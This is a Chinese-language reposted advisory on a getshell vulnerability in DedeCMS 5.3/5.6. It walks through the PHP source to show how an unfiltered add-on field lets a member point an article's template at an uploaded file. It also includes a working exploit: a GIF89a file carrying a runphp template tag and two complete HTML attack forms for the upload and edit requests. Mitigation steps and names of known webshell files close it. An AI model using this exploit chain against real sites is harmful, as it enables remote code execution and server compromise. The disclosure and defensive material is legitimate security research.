欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6

程序员文章站 2022-03-29 16:02:16
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。... 11-08-19...
dedecms 5.6最新get shell漏洞
影响版本:  dedecms 5.3/5.6
  漏洞描述:
  dedecms 基于php+mysql的技术开发,支持windows、linux、unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。dedecms以简单、健壮、灵活、开源几大特点占领了国内cms的大部份市场,目前已经有超过二十万个站点正在使用dedecms或居于 dedecms核心,是目前国内应用最广泛的php类cms系统。
  article_add.php

复制代码
代码如下:

........................
else if($dopost=='save')
{
include(dedemember.'/inc/archives_check.php');
//分析处理附加表数据
$inadd_f = $inadd_v = '';
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
............................................ //省略部份代码
$inadd_f .= ','.$vs[0];
$inadd_v .= " ,'".${$vs[0]}."' ";
}
}
}
..........................................
$addtable = trim($cinfos['addtable']);
if(emptyempty($addtable))
{
......................................
}
else
{
$inquery = "insert into `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) values('$arcid','$typeid','$userip','','','$body'{$inadd_v})";
if(!$dsql->executenonequery($inquery))
{
..........................................
}
}
..........................................
$arturl = makeart($arcid,true); //利用地方(arc.archives.functions.php有定义)
function makeart($aid,$ismakesign=false)
{
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
include_once(dedeinc.'/arc.archives.class.php');
if($ismakesign)
{
$envs['makesign'] = 'yes';
}
$arc = new archives($aid);
$reurl = $arc->makehtml(); //arc.archives.class.php有定义
............................
}

  arc.archives.class.php

复制代码
代码如下:

class archives
{
................
function __construct($aid)
{
............
if($this->channelunit->channelinfos['addtable']!='')
{
$query = "select * from `{$this->channelunit->channelinfos['addtable']}` where `aid` = '$aid'";
$this->addtablerow = $this->dsql->getone($query);
}
........................
if($this->channelunit->channelinfos['addtable']!='' && $this->channelunit->channelinfos['issystem']!=-1)
{
if(is_array($this->addtablerow))
{
...............................
$this->fields['templet'] = $this->addtablerow['templet'];//注意1
......................................
}
}
.............................
}
function makehtml($isremote=0)
{
global $cfg_remote_site,$filefirst;
if($this->iserror)
{
return '';
}
$this->fields["displaytype"] = "st";
//预编译$th
$this->loadtemplet(); //触发1
......................................//省略部份代码
$this->arsedmfields($i,1);
$this->dtp->saveto($truefilename); //触发2
......................................
}
继续跟(触发1)$this->loadtemplet(); //arc.archives.class.php有定义
function loadtemplet()
{
if($this->tempsource=='')
{
$tempfile = $this->gettempletfile(); //注意2
if(!file_exists($tempfile) || !is_file($tempfile))
{
echo "文档id:{$this->fields['id']} - {$this->typelink->typeinfos['typename']} - {$this->fields['title']}
";
echo "模板文件不存在,无法解析文档!";
exit();
}
$this->dtp->loadtemplate($tempfile); //触发3
$this->tempsource = $this->dtp->sourcestring;
}
else
{
$this->dtp->loadsource($this->tempsource);
}
}
看注意2 的$this->gettempletfile() //arc.archives.class.php有定义
function gettempletfile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->channelunit->channelinfos['nid'];
if(!emptyempty($this->fields['templet'])) //注意3
{
$filetag = mftemplet($this->fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $globals['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = mftemplet($this->typelink->typeinfos["temparticle"]);
}
.......................................
if($cid=='spec')
{
if( !emptyempty($this->fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
...........................................
return $tmpfile;
}

注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值
article_edit.php

复制代码
代码如下:

......................
else if($dopost=='save')
{ ....................
if(!emptyempty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
........................
${$vs[0]} = getfieldvaluea(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
}
}
...................
if($addtable!='')
{
$upquery = "update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->executenonequery($upquery))
{..............
}
}
....................
}

$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! gif89a{dede:field name='toby57' runphp='yes'}
phpinfo(); {/dede:field}
保存为1.gif

复制代码
代码如下:

<form action="http://192.168.1.5/dedecmsv5.6-gbk-final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 2. <input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" /> 4. <input type="text" name="oldurl" value="/dedecmsv5.6-gbk-final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" /> 6. <input name="title" type="hidden" id="title" value="1.jpg"
class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/> 8. <button class="button2" type="submit" >更改</button>
</form>

构造如上表单,上传后图片保存为/uploads/userup/3/1.gif 发表文章,然后构造修改表单如下:


复制代码
代码如下:

<form action="http://192.168.1.5/dedecmsv5.6-gbk-final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" /> 3. <input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> 5. <input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" /> 7. <input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"
class="intxt"/> 9. <input type="text" name="writer" id="writer" value="123456" maxlength="100"
class="intxt" style="width:219px"/>
<select name='typeid' size='1'> 11. <option value='1'
class='option3' selected=''>test</option>
<select name='mtypesid' size='1'> 13. <option value='0' selected>请选择分类...</option>
<option value='1'
class='option3' selected>aa</option></select> 15. <textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet"> 17. <input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 19. <button class="button2" type="submit">提交</button>
</form>

安全建议:
如果您使用了dedecms程序,因目前dedecms暂未发布补丁修复,请立即按如下流程处理:
1.在dedecms的后台更新补丁,尽可能升级为最新版本。
2.data、templets、uploads、install这几个目录用控制面板的“目录保护”功能 禁止执行权限 。
3.如果只是使用文章系统并没有使用会员功能,则强推推荐:关闭会员功能、关闭新会员注册、直接删除member目录或改名。
4.用dedecms后台的“系统”中的文件校验和病毒扫描功能 查杀病毒木马。
5.检查有无/data/cache/t.php 、/data/cache/x.php和/plus/index.php 这些木马文件,有的话则应立即删除。
6.用虚拟主机控制面板中的“查杀病毒 ”功能全面查杀一次。
请及时关注dedecms的最新补丁,如果官方出新补丁,则应立即更新。

厂商补丁edecms------------目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/